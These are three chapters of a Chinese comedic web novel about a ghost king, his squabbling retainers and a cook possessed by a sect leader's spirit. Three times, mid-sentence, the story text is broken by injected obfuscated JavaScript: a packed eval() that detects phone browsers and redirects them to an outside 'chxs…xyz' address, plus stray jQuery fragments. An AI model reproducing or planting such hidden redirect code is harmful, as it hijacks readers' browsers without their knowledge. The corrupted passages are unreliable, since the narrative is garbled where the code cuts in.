21. 青云念(五)
而此时此刻的湖边营地,小鬼们被分成了两拨排排而坐,正在看蜻蜓和风宁的变装大秀,为他们俩摇旗呐喊。
“好好好!”秋苑乐不可支,不住地鼓掌,“我宣布,第一届见云山变装大秀获胜者是——风宁!”
蜻蜓郁闷道:“我这身哪里差了。”
秋苑上下扫了他一眼,啧了声,摇头:“胖了。”
蜻蜓顿了顿,将外穿的纱衣掀开一层,肉眼可见地胖了一圈,他惨叫一声,想到自己这些天跟着月情吃香的喝辣的,震惊不已,“为什么鬼也会吃胖?!!”
风宁见此哈哈哈大笑,揽他嘲笑道:“让你吃,下次变成一个球。”
蜻蜓抓狂,蜻蜓崩溃,蜻蜓自闭。
趁着他们大笑,月情默默找到了秋苑身边,蹭蹭着混入其中。
这三个时辰以来,他们上山下山,走了不少地方,射出无数支箭,居然——居然连毛都没打到!
几十年如一日,没有功劳也有苦劳了,甚至猎物们都为连绝的执着与笨拙所折服,心生怜悯,打算一死了之成全他。
只可惜,如此放水连绝也没能打下哪怕一只猎物。
箭射完了,他低头看着弓,沉默着,失语不言。
他就这样,静默着,静默着,不言不语,一动不动,宛若扎根的草木,唯余风吹过发丝的痕迹。
整个背影都透露着大写的伤心、寂寥。
月情知他失落伤心,不想理人,只想静静,心中纠结欲言又止,风景也不赏了,只能小心翼翼地陪着他,默默舔舐伤口。
半个时辰后,少宗主终于忍不住开口,道:“你们是在玩一二三木头人的游戏吗?”
月情:“……”
她揉了揉眉心,试探地凑近一些,想唤连绝一声,却发现他早已经闭上了双眼,睡得静谧香甜,安安稳稳地享受着清凉夏风,哪里有半分失落伤心的模样。
再回头,重影竟然也早就习惯似的耷拉着头,一点一点,跟着他的好大王一块睡得那叫一个昏天暗地、无知无觉。
月情:“……”
所以这半个时辰只有她在玩一二三木头人的游戏。
只有她在纠结、伤心、静静。
秋苑早看到她,见她缩在那无言沉闷的模样,微微一怔,而后想到什么,更乐了。
她笑着流泪,揉眼道:“终于不只有我们几个受苦了。”
月情:“……”
风宁瞧见她,特意挤过来,怪声怪气地模仿她,“当然,大王如此厉害,必然是百发百中,得不到靶子天神的眷顾了。”
月情:“……”
秋苑恶寒道:“你居然为了拍马屁说出这种话,妥妥的奸臣,小心被天打雷劈!”
风宁闻言拍手大笑,手指向月情,正要毫不留情地大肆嘲笑,脑门上却突然被贴了一张静声符,他表情夸张,喉咙却发不出声音,张了张嘴,又捂住了嘴瞪大双眼。
月情看着他终于露出了一点愉悦的表情。
风宁:“……”
她道:“秋苑姐你说得是,没想到风宁为了上位竟然能说出如此昧良心的话,简直是令万鬼不耻。”
风宁:“……”
静声符的时效在一刻钟,趁着还没失效,月情赶紧转移话题,“秋苑姐,你们设计的节目不会就是这个吧?”
“当然不是,”秋苑取出一个白色的长形牌子,上书白鹿馆,“是戏曲演出,还是武打戏。”
“白鹿……馆?”月情摩挲了一下牌子,这么巧,秋苑的戏馆恰好就与白鹿相关。
她问:“是什么剧种?”
秋苑道:“见云山特色霸王剧种,戏名叫《称王称霸谁敢不服,不服?那就挨打!》。”
不愧是霸王剧种,这是真的霸道。
秋苑忽而又叹息着,忧伤道:“其实,我本来排的是一部风花雪月的爱情戏,但被大王否决了,临时排演成了武打戏。”
月情有些诧异,“为什么?”
连绝一向不多管闲事,按理来说这等无关紧要的事,他都不怎么放在心上。
秋苑心中不忿,瞪了眼边上的风宁,道:“因为某个大傻子。”
那是一个平平无奇的夜晚,如同见云山这几十年以来的每一个夜晚。
四大护法难得齐聚,在秋苑的主导下算着账本。极阴殿里开始发出算盘声,交谈声,嬉笑声,敲头声,虽然嘻嘻哈哈,但也算有条不紊。
末了,秋苑才慨叹道:“我们见云山除了我以外,终于有人在花钱了。”
她口中所指自然是月情,后者真的是一个特别爱研究菜品喜欢请人吃饭的好厨子,就这几天,月情已经把整个山头的鬼魂都请遍了。
她道:“果然,还是要人多一点才热闹。”
听到她这么说,重影忍不住道:“可是我还是不明白,虽然大王已经认可了月情,但这里是鬼山,而她是活人。”
蜻蜓这才发现这是一个极其严肃的问题,慎重道:“重影说得没错,我们阴气如此重,活人长期留在这里是会折寿的。”
风宁随口道:“折呗,活不了才是我们见云山的王道,她就该死。”
“……”蜻蜓无语扶额,推开他的脑袋,“你先别说话。”
秋苑漫不经心地拨弄起指甲,“你们讨论这个毫无意义,见云山本来就不存在,只是因为大王才存在,留与不留,不过是大王的一句话。”
话落,众鬼默然,他们缓缓坐直身子,眸光偏向坐在主位上,一字不言,双手交叉立在桌上,微垂着头,长发遮目晦暗深沉的某大王。
对于众人的激情讨论,他没有任何的表示,只是静静地看着桌上的花纹,无声无息,宛若一尊精美绝伦的雕塑。
片刻钟,蜻蜓才小声凑近,“…他是不是又在发呆?”
其余三个默默点头。
大家已经是见怪不怪了。
蜻蜓更好奇了,“你们有见过大王对另一个人这般上过心吗?”
大家纷纷摇头,究其原因,重影欲言又止,“嗯…因为她和我一样地不要脸,强行赖上大王,大王没法……”
在众鬼凝视的眼光中,重影默默咽口水,苍白无力地辩解,“我的意思是,她手段高明,大王也无计可施。”
“我倒看出一些不寻常的意味来,”秋苑忽而勾唇一笑,眼中划过神秘的光彩,“大王为何上心?因为心中有她,这分明是人鬼情未了,缘定三生,生死不悔的禁忌之恋。”
三只从未有过情缘的男鬼一一看向她,眼中是震惊、懵逼与不敢置信。
秋苑微微一笑,“我可是过来人,谁与谁有情,我一眼即知。”
在这方面,秋苑简直能把他们仨吊起来打,众鬼不敢有疑,但又觉得实在是过于惊悚。
毕竟,这只鬼是连绝。
他堪比这世间最钝的榆木,是七窍开了六窍一窍不通的铁树,他的心更是腐朽的棺材木,哪里能住人。
可若是秋苑这么说,那这件事怕是有十之八九。
毕竟,她是唯一一个有经验的。
蜻蜓张大了嘴巴,目瞪口呆,“所以你在白鹿馆排了那出戏!”
秋苑留下神秘微笑,自信淡然道:“我们见云山要有喜事了。”
看着她势在必得的笑,众鬼震惊,不解,明悟,欣慰,十八
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950860|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
种复杂心绪涌上心头,一时间,无言感动,热泪盈眶。
这时,风宁突然拍了下桌子,目光灼灼,“秋苑,快去准备婚服!”
秋苑没反应过来,“……什,什么?”
“成亲啊,赶紧的,这可是天大的喜事,”风宁催促一声,风风火火地跑到连绝面前,在后者缓慢抬起的眼睛中,他激动道:“大王,恭喜!”
连绝:“?”
他振聋发聩,余音绕梁,“大王不必多言,我已知你心意,而今天晚上这事我就帮你办妥,一定送你们入洞房!成新家!”
连绝看着他激动到无以复加的神色,眉心点点纠起,冷声问,“他又在发什么疯?”
其余三只不敢吭声。
蜻蜓捂眼低头,重影暗暗嘶声,秋苑两眼一黑。
“我没有发疯,我是真心的,”风宁深切道,“大王,我深知你的幸苦,毕竟,人鬼之恋突破世俗是禁忌之恋,但我还是要说,不要担心,不要害怕,幸福,是靠双手争取赢来的!”
他目光坚定宛若成神,“我永远支持你。”
六个大字铿锵有力地砸下来,直砸得其余三只头昏眼花,天旋地转。
连绝终于有了反应,隐隐明白了什么,眼神逐渐凛冽,而寒气四溢,不善地盯向蜻蜓。
后者咽了下口水,立即滑跪,“大王,秋苑说你和月情人鬼情未了,是缘定三生,生死不悔的禁忌之恋,还特意在白鹿馆排演了《情定三生》的好戏。”
秋苑:“………?”
她立马道:“我错了,但我只是小声八卦,真正错的是风宁,是他在危言耸听自以为是不知分寸。”
风宁:“?”
他恼羞成怒,“我没错!”
他突然阴测测地开笑,甚至威胁,“我的份子钱都准备好了,这个亲,成也得成不成还是得成!”
见云山很少会开会,而每一次开会,连绝都喜欢神游天际,无言漫漫。
这会让他感到很放松,而模模糊糊地听着他们几只叽叽喳喳的白噪音,也会让他觉得并没有那么孤单。
每一次他都会觉得很不错,原本他以为这一次也一样。
但——风宁仍在喋喋不休,“我现在就把月情给叫过来!”
他刚一转身,就如陷泥地,动弹不得。这时候,风宁才后知后觉的感受到极阴殿内沉重异常的森森寒气。
他一滞,心口突紧,大王二字还未出口,整只鬼便倒掼着飞了出去,直接团成一个球,白花花地落在地上,滚圆地在地面上弹起弹落。
秋苑眉心突突跳,直觉大事不好,刚要开口,“啪”地声,她也变成了一只圆滚滚的黄球骨碌碌滚过去和风宁撞了个咚咚响。
连绝面无表情地起身,束紧袖口,冷冷道:“好久未踢蹴鞠了。”
当天晚上,风流眼过了一百只球,两位护法各自挨踢了五十脚,说来,是无尽辛酸泪。
“事实证明,任何时候都不能非议上司,否则就会和我一样下场凄惨,”秋苑说着又恨恨地瞪了眼风宁,“当然,如果同僚正常,那就另当别论。”
风宁终于能说话,嘁了一声,道:“这事我还没找你算账,你居然骗我,亏我如此信你!”
月情看向他,眼神复杂,万万没想到,这家伙,居然是真的月老,撮合不成还打算强点鸳鸯谱。
秋苑本就不爽,听他这话更是来火,骂道:“要怨就怨你自己,若不是你发疯,我怎么会受罚?”
风宁又怎么可能是心甘情愿挨训的性子,眉头一拧就要开战,秋苑同样一步不退,冷笑一声立即迎上。
俩只鬼竟然因这缘由大吵起来。
22. 青云念(六)
少宗主在旁围观,暗暗豁了一声,“月情,真没想到你随意出手就能让他们为此大吵大闹,牛。”
月情扯了扯唇角,并没有因为她的夸赞就感到高兴。
——看似只有两只鬼受伤受罚,但其实她才是最惨的那一个。
她道:“你们不必吵了,最难过最伤心的不应该是我吗?”
话音一落,风宁安静了,秋苑无声了。二鬼迟疑而又狐疑地转头看向她。
她努力微笑,坚强道:“没关系的,就算大王心中没有我,也没关系的,真的没关系的,我很好,你们不必安慰我,真的真的没关系的。”
秋苑迟语,“所以…你…真的……”
月情含泪点头,又默默提手擦泪。
尽管心碎成了一片又一片,但她仍在坚强地微笑,嘴硬道:“我很好,真的,比珍珠还真。”
但二鬼只看到了一个柔弱又可怜的小女孩。
秋苑眼神复杂,想说什么又笨嘴拙舌,不知如何是好。
而这时,一边的风宁却像闻到肉的狗一样,当即精神抖擞,兴奋异常,“不用说了,我现在就去把大王绑过来让你们成亲!”
“……如果不想再被当球踢就给我站住!”秋苑一把抓住他,咬牙切齿,“这件事你别插手。”
她说着,又揽过月情的肩膀,道:“月师傅,你先不要伤心,大王虽然现在心中无你,但他心中也没有旁人。再者还有我帮你,纵然是千年不开花的铁树今日也要为你结果。”
月情看着她吸了下鼻子,虽然不知道为什么突然发展成了这样,但也算是不幸之中的万幸。
她乖巧道:“谢谢秋苑姐。”
秋苑应了一声,片刻后又小声道:“这件事不要告诉蜻蜓,他的胆子比蚂蚁小,大王一问,他绝对一字不漏地吐露出来。”
风宁张了张唇,不屑一笑,“那是忠诚。”
秋苑嘶了一声,又挑高眉道:“风宁,我们这么多小鬼出动,修仙界恐怕早已经闻着味过来了,你不是最喜欢围着他们打,怎么还不去?”
提及修仙界,风宁顿时来了精神,道:“我这就去。”
他勾唇一笑,拔出凝光,温雅的面容逐渐邪佞,眼眸中闪出冰冷的杀意,“放心,我定叫他们有来无回。”
这些时日里,月情已经在少宗主的指点下融会贯通,见此景,她抚了下腰间的寒烟,略做思考,主动提出要一起去。
秋苑犹豫了一下,但想到什么,点了点头,“也好,不过那枚白鹿馆的铭牌你记得收好。”
月情将那方铭牌挂到腰上,道:“放心,等戏开场时,我会回来观看的。”
除此以外,她有些事想单独问问风宁,眼下就是个不可多得的好机会。
此地划作禁区多年,官道上都长满了杂草,他们俩出去时皆御剑而行。
月情确认前边无人,后边无鬼,摸出了一张定身符,悄无声息地飞到风宁身后。
关于连绝、风宁、月如金的因果她暂时还没告诉少宗主,毕竟口说无凭,而此事又无从查起,思来索去,还是直接问风宁最简单。
她看着他的背影,背着手,趁着他不注意,展手打出定身符,说时迟那时快,一只手突然冒出,猛地擒住了她的手腕,生生截停。
风宁瞥了眼定身符,勾唇一笑,定定看着她,“你知道我生前被人称之为什么吗?”
月情将手给抽了回来,微笑问:“什么?”
风宁道:“银剑追风。”
银剑所指犹如白玉一般的凝光,这追风自然是指其主人风宁。
“正所谓追风,这世界上,能比我快的,寥寥无几,想偷袭我,除非下辈子,”他说着,手按在凝光上,眼睛微微下压,仍旧在笑,“不给我一个合理的理由,我可是会杀了你的。”
月情也在笑,并没有被当场抓获的慌乱,而是继续道:“我且问你,十三年前,你为何让大王去净月宗所救月如金?”
少宗主跟在她左右,本还在琢磨她为何忽而动手,乍然听到这话,呆怔在原地反应不及。
风宁愣了一会儿,目光在她脸上轻轻移动,看着这张脸,他眯了下眼眸,呵笑一声,“我凭什么告诉你?你是谁,月如金的第二个女儿?”
月情了解他的性子,没有与他争锋相对,而是微微垂眸,道:“风宁,这与月如金无关,我在意的是大王的名声。你心知肚明,百目鬼屠村一事与大王无关,月如金之死更是莫须有的罪名,可这世人却偏偏要把污名往他身上泼,再以讹传讹,几十年如一日。而大王乃我心爱之人,我又怎么忍心见他平白遭此唾骂?”
风宁盯着她,哼笑了一声,“你倒是有几分真心。”
他的目光缓缓落在她脸上,月情总是微微笑着,于是乎这张含雪一般清冷的脸如今便多了三分春阳化雪的暖意,与那人更像了三分。
他别开了眼,道:“你说得对,的确要澄清,真相缘何我会先告诉大王,至于你,我只能说这是一场交易。”
交易。
月情喃喃在心中念了念,忽而觉得真是有意思极了,这世界上还有人能用上司去做交易吗?
半晌,她微微笑了笑,道:“如此甚好。”
风宁抓着凝光,又偏头道:“净月宗的人也来了,你若是不想被认破身份,就换一张脸。”
月情确实不想被认破身份,此情此景之下,她与净月宗的人再扯上关系,于两方都是危险。
她即听了风宁的,在脸上涂满了木色的颜料,除此外还写下了灰蓝色的咒文,腰上则掩饰地挂起铃铛,头发也被绑了起来,插上几根草木叶,变成了市面上最常见又最普通的一类机关人。
月情问道:“你确定我这样他们就认不出来了?”
风宁自信挑眉道:“当然,论机关术,我当世界第一。”
月情看他如此自信,想想蜻蜓曾说过的,便打算信他一次,跟着他一起进了青云城。
其中本应早已荒芜,进去时却意外发现繁华如初,街道上更是人来人往,车如流水,也有不少与她相似的机关人在其间行走。
她疑惑道:“这里不是常年禁区吗?怎么如此热闹繁华?”
风宁不在意道:“这些都是蜻蜓和秋苑请来拍戏的戏子。”
月情看着一眼望不到头,各式各样的人群,其中服饰千千万,木质的道具,铁质的道具,金玉翡翠道具,数都数不清,宛若一个活生生的城池,不由咋舌,“他们究竟要排何等戏,这样多的人戏台子能站得住吗?”
“你操心这个做什么,跟我来,”风宁目光一转,招招手,别开前面一头似象又非象的机关车往前而去。
月情提步跟上,却是一怔,前面人多如流水,风宁隐入其中,已然不见。
少宗主紧随她身边,也没发现风宁是何时不见的,道:“怎么回事?”
月情摇了摇头,她就落后了他一步,怎么眨眼间就不见了踪迹?
少宗主沉默多时,纠结来纠结去,又试探地问她,“月情,你说风宁让连绝去净月宗所救月如金这事是真是假?”
月情偏头道:“是真是假全在于你信或不信。”
她噎住了,自然想起之前种种,无论月情说什么,她都不肯信。
“我不信…我不信他们,但……”少宗主迟语良久,又别扭道:“但我信你,我相信你。”
月情顿在原地,少宗主也没有再说话,她轻轻地吸了吸鼻子,就跟在她周围。
她动了动唇,只道:“我不会让你失望的。”
少宗主半晌才嗯了一声。
不过眼下的当务之急是找到风宁。
月情转头看向周围,方才她侧耳有心听过,这些戏子正热热闹闹的说话,也没人吊嗓子或者是背台词,听过去东拉西扯的,闲闲散散,跟散步逛街似的。
她正疑惑秋苑从哪里请来这群不务正业的人,一只手突然从暗处伸出来,一把抓住她,将她扯进了一条小巷。
月情连忙将手按在寒烟身上,刚要动手,就听见人气音叫道:“少宗主,你果然在这里!”
听到这三个字,月情瞪大了双眼,甚至有些心如死灰。
不是哥们儿,这你都认得出来?!
抓住她的是个模样清俊的少年,一身玄衣,正心痛不已地看着她,痛心疾首,“你怎么这幅打扮,是不是经历了千幸万苦,才从鬼王那个杀人狂魔的手底下逃出来?”
话落,他又十分紧张地四下打量她,问道:“听说鬼王最爱吃少女的肉,他是不是把你的肉割下来吃了?”
月情:“………”
这究竟是从哪里传来的谣言?
连绝他一滴水一颗米都不肯吃的鬼,你们造谣他吃人肉?
别太离谱。
月情挣开他的手,看着自己手上掩饰气息的咒文,皮笑肉不笑地,“你认错人了。”
苏洛然怔了一下,而后压低声音,“少宗主,别怕,仙盟来了大半的人,你不必隐藏身份,鬼王必然奈何不了你。”
说完后,他微微吸了口气,瞧着她,眼中盈出一汪眼泪,叹道:“这半个月……你真是受苦了。”
月情看他这幅心疼的模样,忽而明白了什么,心道:“少宗主,莫非这位小公子是你的情眷?”
少宗主一呆,连忙大声反驳,“怎,怎么可能?!区区,我的手下败将罢了!”
虽然风宁的品味低下,但就凭他做得机关人能养活见云山几十年,月情也信他的手艺。
可这还没一刻钟,转头就被打脸,还是不怎么熟悉的“区区手下败将”。
月情忍不住想,说不准她此时此刻把自己烧成一堆灰,也会冒出一个人指着她大叫,“这是少宗主的骨灰!”
苏洛然擦了擦眼泪,打量着她,确认她除了穿得奇怪外,没什么事,才松
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950861|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了口气,说:“我还以为行云通天镜上说得是真的。”
少宗主心中顿时升起一丝不妙。
他说,“好几个宗门的人都在里面传,你每天都把自己的肉割下来,煎炒炸煮,变着花样做给鬼王吃,还心甘情愿,甘之如殆,任鬼王打骂羞辱也不肯下山。”
月情:“……”
少宗主:“……”
少宗主一口老血哽在喉间,可怜她一个残魂,生前一世英名,死后连个清白身都落不着。
月情同样大受震撼,忍不住反问,“所以,在你们修仙界眼中,厨娘是这种厨娘吗?”
苏洛然动了动嘴唇,道:“还不是风宁,他在行云通天镜上大放厥词,造谣抹黑你与月宗主。”
风宁被月情评了个品位低下之后,一直努力创新,就这半个来月,与他的破锣班子创造了不下十首新鲜小曲儿,个个魔音入脑。
第一遍听时,什么狗屎,第二遍听时,有点意思?第三遍听时,众修士:你、你你你你找死!
短短半个月,风宁就凭一己之力侵占了整个修仙界的乐坛。
现在没听过风宁新鲜小曲儿的,在修仙界都被人嘲土。
如今大伙和人单挑之前放狠话都是有节奏、有韵律的月如龙金句,之——“你、你你你你你找死!”
表情一定要狰狞,语气一定要凶狠。
否则都没人愿意和你单挑。
而作为风宁小曲儿里主人公之一的少宗主,修仙界不知多少以她为榜样,这群人听了小曲儿,简直是道心破碎。
曾经天不怕地不怕的少宗主,竟然沦落到了这个下场!
心痛,心痛到难以呼吸。
为了表达他们的心痛,每次风宁新曲儿发表,他们都会第一时间抵达,不是听曲儿也不是骂风宁,而是——追思。
对,追思。
一群人就围着她被鬼王煎炒炸煮的话题嚎,足足嚎了大半个月,哭得那叫一个肝肠寸断,伤心欲绝。
只令人闻之潸然泪下。
月情简直是大开眼界,很想问他们修仙界是不是吃饱了撑着没事干。
反派人士不想着杀人放火,烧杀淫掠竟然在写弱智小曲儿,正派人士不想着斩妖除魔,驱邪问道居然在组团哭丧。
气氛到了,她不死都白瞎了那群哭丧的眼泪。
月情脸上的笑已经挂不住了,她好想破口大骂,又生生忍住,黑气缭绕道:“假的,这已经不是污蔑了,这简直是人身攻击。”
“我就知道是假的,”苏洛然松了口气,又警惕地瞧了瞧附近,确认没有邪物鬼魂之类不干净的东西,才凑近过来与她低语,“月宗主也来了,正在找你,你……”
这时,俩人身后传来哒哒哒的马蹄声响,二人一道瞧过去,只见阳光之下,一匹黑马慢悠悠地走过来,而坐上少年随意抓着缰绳,被阳光浅浅镀上了一层金光,冷峻的眉眼更显神性,令人见之挪不开眼。
这条小巷刚好只能进出两人或一马,于是乎,他被迫勒马停下。
一双桃花眼轻微下瞥,好巧不巧,就落在俩人“交缠”在一起的胳膊上。
“……”
月情脑中嗡鸣一声,看着连绝那张日夜相对的脸,她的心口突然冒出了一股极其强烈的心虚感——这简直是赤.裸.裸的捉奸!
她连忙撇开苏洛然,义正言辞道:“有话好好说,不要拉拉扯扯。”
苏洛然:“?”
他没好好说话吗?
苏洛然懵然地摸了下后脑勺,去给连绝腾位置,刚走开一步,竟然意外地发现连绝的肩膀上站了一只毛绒绒的小松鼠。
他讶异一瞬,热情地上去打招呼,“这位道友,这是你养的小松鼠吗?”
连绝慢慢把眼神移到他身上,表情冷冽,又因居高临下而气势迫人。
少宗主心口一跳,不由暗骂苏洛然这个傻子,冷漠、残忍、杀人如麻的鬼王一定会把他切成八段。
看见连绝一脸冰冷、不耐地抬起手,少宗主不忍去看了,悲痛道:“月情…准备给苏洛然收尸吧。”
月情:“?”
少女,你属实是有点戏多了。
不过连绝的表情的确很冷漠,看起来心情不虞,极其阴沉,因骑着高头大马,立在身前可谓压迫感十足,一时间,气氛莫名剑拔弩张。
月情竟从中感觉到了危险,在心中喃喃道:“完了,怕真是要给他收尸了……”
少宗主咬紧牙根,道:“果然,你也觉得他此时此刻不高兴对吧?”
平时的连绝多半是面无表情,风淡云轻,对任何人任何事都提不起兴趣,经常神色恹恹,无精打采。
但这会儿的他,的确不太一样,眼眸里藏着极寒的冷意,无形之中,甚至隐隐有一丝压迫的戾气。
不能说是不高兴,而是生气。
看过去,只怕是下一秒就要提刀杀人。
23. 青云念(七)
月情是领教过他生气的。
当时是中秋节,倾仙楼里本来热热闹闹地在看戏,忽而对街的老板嚣张地来踢馆,这倒也罢,愿赌服输后,他又不依不饶,讽刺她一介女流不知用什么手段敛财上位。
那位马老板话还未说完就被一只茶杯砸了个头破血流,月情甚至来不及反应,一条长凳便被人给踢了出去,直接将马老板撞翻在地。
连绝拎起了他,眸色泠然冰冷,看他犹如看一个死人,“谁给你的胆子敢说这等话?”
那一瞬间,马老板犹如见到了恶鬼,而只要他的手指轻轻一动,自己的脖子就将被拧断,吓得他失声颤颤,“杀人了,杀人了!”
连绝当然不会杀了他,但那是在大祁。
他的身份是倾仙楼里普普通通的跑堂小厮,后来还因为随手打人被官兵抓走关了起来。
但这里是修仙界。
而他的身份是无恶不作,屠灭半片修仙界的鬼王。
……
月情与少宗主都觉察到了不对劲,一人一鬼对视一眼,神色凝重,生怕连绝一个不高兴,抬手就把苏洛然给斩了。
可偏偏那货完全没觉察到,眼中全是毛绒绒的小松鼠,热情地和连绝搭话,“道友,它叫什么名字?”
月情抿唇向他看去,她还是不信他会滥杀无辜。
也是不巧,对上了连绝的视线。
她顿了一下,假装若无其事地冲他笑了笑。
他眼眸微动,目光轻轻在她身上扫了一下,意味不明,而眉眼中的戾气倒是往下压住了,只与苏洛然道:“没有名字。”
月情和少宗主无形中对视一眼。
苏洛然没发现此处的暗流涌动,疑惑道:“啊,那为什么不取一个呢?”
连绝冷淡道:“不想取。”
苏洛然噎了一下,没话找话道:“道友,你可真有个性。”
虽然是颇有些热脸贴冷屁股,但苏洛然毫不介意。
在他的坚持之下,一刻钟后,他终于凭着厚脸皮成功抱到了小松鼠,心满意足地拿着刚买来的栗子给它喂食。
少宗主的脑筋转不动了,“这合理吗?”
这太不合理了。
苏洛然浑然不觉,已经将正事抛到了脑后,凑到她面前去,弯眼而笑,“你看,它的腮帮子都鼓起来了,好可爱。”
月情:“………”
少男,你是来干什么的,你还记得吗?
她敷衍一笑,却觉察到连绝意味不明的视线,正落在二人相近的距离上。
月情连忙把苏洛然的头给推远了。
苏洛然眨巴眼,“怎么了?”
月情看着他清澈到透露出愚蠢的眼神,微笑说,“你离得太近,我喘不来气了。”
苏洛然噢了声,侧了侧身子,离远了些。
可连绝的眼神却愈发地不对劲了起来,他好像是明白了什么一样,伸出手去,小松鼠立即从苏洛然怀里跳了出来。
他拉住缰绳,很有觉悟地从他们侧面绕了过去,大有不要理会我,请你们继续的意思。
月情面色僵硬。
你明白了什么,你给我站住!
“他好像误会了什么,”苏洛然后知后觉,感觉到一丝微妙。
俩人沉默一瞬,他这才反应过来,脸色骤红,看着已经走远的连绝,伸手挽留,“道友,不是你想的那样……”
“现在再解释已经晚了,”月情两眼一黑,见他还要追上去,伸手把他重新按回了小巷子里,压声道:“不用再装了,他不会对你动手的。”
“?”苏洛然眨巴眼,莫名其妙地看着她,“少宗主,你今天好生奇怪,说话不仅没头没尾,还让人听不懂。”
月情愣了一下,苏洛然的眼神不似作假,她不由狐疑,目露警惕,“什么叫听不懂?你不知道他是谁?”
苏洛然看着她严肃的面容,小心反问,“我…该认识他吗?”
月情:“?”
那你们仙盟成立后要消灭的鬼王是谁,我吗?
少宗主这才知道她在怀疑什么,抱胸道:“他不是装的。鬼王大几十年没出过世,当年见过他的人都被他杀了,修仙界没人知道他长什么样。”
“………”
好家伙,一个个嫉恶如仇、义愤填膺、痛心疾首的,她还以为有多大的决心和把握,原来这群家伙连鬼王是谁都没搞清楚。
这个世界果然是个巨大的草台班子。
少宗主道:“其实,你见到的这张皮也不一定是连绝的真身。”
鬼物擅噬魂吃人,每吃一个人就多了一张皮,而连绝这般的厉鬼,甚至无须杀人夺皮,自己便能千变万化,不过捏一个俊秀的少年模样,于他而言易如反掌。
她煞有介事地说,“根据传说,杀人无数,生啖众人,甫一现世即屠灭四十九云天的鬼王,理应全身浴血,生有九九八十一只手,七千只眼,八百只耳朵,张嘴是血盆大口,其中长舌如蛟蛇,而獠牙乱生血水潺潺,尸痕累累铺天盖地,比之地狱阎罗不遑多让。”
少宗主哼了一声,道:“所以我一直觉得我们见到的乃是个假的。”
月情:“………”
这是纯恨,骂的这么脏。
苏洛然再迟钝也发现了她的不对劲,“少宗主,你为什么觉得我认识他?”
月情咳嗽一声,淡定道:“难道不是吗?你看起来和他很熟。”
“我只是对那只松鼠感兴趣,”苏洛然说,“不过那位道友看起来冷冰冰的,其实还挺好说话,只是不知道是哪个宗门的,我竟从来没见过。”
月情沉默一瞬,放开了按住他的手。
她道:“说不定不是修士。”
苏洛然愣了一下,张张唇,并没反驳。
月情转身出了小巷,外面的阳光更热烈,她眯了下眼,看见了往前去的连绝。
他并没有走远,骑着马,在大街上漫无目的地散步,渐渐融入喧嚣的人群。
苏洛然跟出来,问道:“少宗主,你去哪儿?”
月情随口敷衍他道:“前面那少年气宇轩昂,英俊绝伦,潇洒帅气,令我一见钟情。你且告诉我大伯,就道我要嫁人了,不必再管我。”
苏洛然:“?”
少宗主:“……”
他张大了嘴巴,惊呆了,犹豫片刻后,小声建议道:“少宗主,你要追他,是不是得换身打扮?”
边上的少宗主听此,抽搐了下嘴角。
月情低头看看自己,肤色灰黑,手上脸上是千奇百怪的灰蓝色咒文,衣服是破布和草皮,还特意仿制机关人绘制了形如机关的关窍,乍一看,着实有几分骇人。
她她她她她……
她的脸骤然红透了。
月情忽而想到连绝方才扫向她时,那一眼的意味不明。
她嘴唇翕动,良久伫立。
满脑子是他的眼神。
全被他看见了,被他看见了,他看见了,看见了,见了,了了了——
“呵呵,”少宗主忽而冷笑了一声,抱胸而立,敏感地眯起眼,“我现在是真不知道你们两个到底是谁要去攻谁的心了,月情,你真是太令我失望了!他比比比比…虽然比苏洛然强一点,可苏洛然年轻啊!连绝要是还活着,都能做你爷爷了!”
月情呆呆地,无意识道:“可苏洛然是活人。”
少宗主:“………”
差点忘了,月情可是有着比风宁还要恶俗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950862|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的品味。
少宗主咬牙,深深吸气,“你等着,下次我带你去乱葬岗,让你后宫三千,夜夜笙歌!”
月情:“………少宗主,你真是我见过最热心肠的人。”
她刚刚说完,小巷深处忽而又投过来一道影子,哒哒的马蹄声,刚刚出去的连绝又从另一头绕了进来,看见他们两个,顿在原地。
月情无颜见他,退后了一步,又退后了一步。
她的双腿微微发软,抱住寒烟,一步一步往后退,正这时,月情腰上挂着的白鹿馆铭牌突然发光发亮,飞到半空中,她一怔,眯了下眼,脚下便陡然踏空踩空,猛地跌入一飘香氤氲的花池中。
月情从水里冒出头,咳嗽了两声,警惕地看向四周,这里竟是个浴池,而她泡在温热水里,里边透出茉莉的清香,至于方才的小巷与喧闹的街道,一一消失无踪。
白鹿馆的铭牌在空中转了两圈,啪嗒一声落在了一边,她转目去看,正正好看见了一套月白色的裙子。
月情捞起那铭牌,抚摸着上面的花纹,心中惊讶。
她眼眸发亮,称奇道:“我收回那句话,看来秋苑才是最热心肠的人。”
少宗主:“………”
